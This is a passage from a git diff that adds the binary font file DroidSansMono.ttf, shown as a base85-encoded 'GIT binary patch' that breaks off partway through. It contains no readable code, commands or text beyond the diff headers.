mode 100644 Fonts/Roboto-Regular.ttf diff --git a/Fonts/DroidSansMono.ttf b/Fonts/DroidSansMono.ttf new file mode 100644 index 0000000000000000000000000000000000000000..b7bf5b4aa8ad5a8c8036653734d83006c6a376ee GIT binary patch literal 108128 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 